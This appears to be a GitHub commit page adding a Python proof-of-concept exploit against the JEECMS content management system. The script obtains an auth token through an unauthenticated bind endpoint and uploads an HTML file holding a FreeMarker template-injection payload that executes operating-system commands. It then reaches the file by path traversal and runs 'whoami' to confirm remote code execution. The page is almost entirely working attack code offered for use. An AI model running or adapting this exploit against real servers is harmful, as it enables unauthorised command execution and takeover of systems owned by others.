Skip to content

Commit 341e7ed

Browse files
authored
Create JEECMS-o_upload-upload.py
1 parent cf846d8 commit 341e7ed

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed

JEECMS-o_upload-upload.py

+86
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
#!/usr/bin/python
2+
# -*- coding:utf-8 -*-
3+
import requests
4+
import sys
5+
import json
6+
import os
7+
import time
8+
import string
9+
import argparse
10+
import readchar
11+
import random
12+
from requests_toolbelt.multipart.encoder import MultipartEncoder
13+
14+
chars = string.ascii_letters
15+
def random_string_generator(str_size, allowed_chars):
16+
return ''.join(random.choice(allowed_chars) for x in range(str_size))
17+
18+
def getToken(url):
19+
temp = "/thirdParty/bind"
20+
target = url+temp
21+
#print("checking url:" + target)
22+
headers = {'Content-Type': 'application/json','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','X-Requested-With':'XMLHttpRequest','Content-Length':'79'}
23+
24+
data = {"username":random_string_generator(5,chars),"loginWay": 1, "loginType": "QQ", "thirdId": "abcdefg"}
25+
26+
response = requests.post(url=target,headers=headers,json=data,verify=False)
27+
if response.status_code ==200:
28+
# print("111111")
29+
null =""
30+
text =response.text
31+
obj = json.dumps(text)
32+
t1 =json.loads(text)
33+
34+
token = t1['data']['JEECMS-Auth-Token']
35+
print("JEECMS-Auth-Token: "+token)
36+
return token
37+
else:
38+
print("get token error")
39+
40+
def getPath(url,token):
41+
temp = "/member/upload/o_upload"
42+
target = url+temp
43+
shellCode = '''${site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.ObjectWrapper").getField("DEFAULT_WRAPPER").get(null).newInstance(site.getClass().getProtectionDomain().getClassLoader().loadClass("freemarker.template.utility.Execute"), null)(cmd)}'''
44+
headers = {'Content-Type': 'multipart/form-data; boundary=-----------------------------1250178961143214655620108952','User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','X-Requested-With':'XMLHttpRequest','Content-Length':'606','JEECMS-Auth-Token':token}
45+
46+
multipart_encoder = MultipartEncoder(
47+
fields={
48+
"uploadFile": (
49+
"b.html", shellCode, 'text/html'),
50+
"typeStr": "File"
51+
},
52+
boundary='-----------------------------1250178961143214655620108952'
53+
)
54+
response = requests.post(url=target,headers=headers,data=multipart_encoder,verify=False)
55+
56+
if response.status_code ==200:
57+
null =""
58+
text =response.text
59+
obj = json.dumps(text)
60+
t1 =json.loads(text)
61+
path = t1['data']['fileUrl']
62+
return path
63+
else:
64+
print("get path error")
65+
66+
def verify(target_url):
67+
token = getToken(url=target_url)
68+
time.sleep(1)
69+
path = getPath(target_url,token)
70+
time.sleep(1)
71+
path = path.replace("/","-")
72+
temp ="/..-..-..-..-.."
73+
url = target_url+temp+path
74+
print("resultUrl: ",url)
75+
url = url.replace("html","htm")
76+
cmdurl = url+"?cmd=whoami"
77+
return requests.get(cmdurl,verify=False).text
78+
79+
80+
if __name__=="__main__":
81+
target = sys.argv[1]
82+
data = verify(target)
83+
if data:
84+
print("[+]漏洞存在,执行 whoami 的结果为:", data)
85+
else:
86+
print("[-]漏洞不存在")

0 commit comments

Comments
 (0)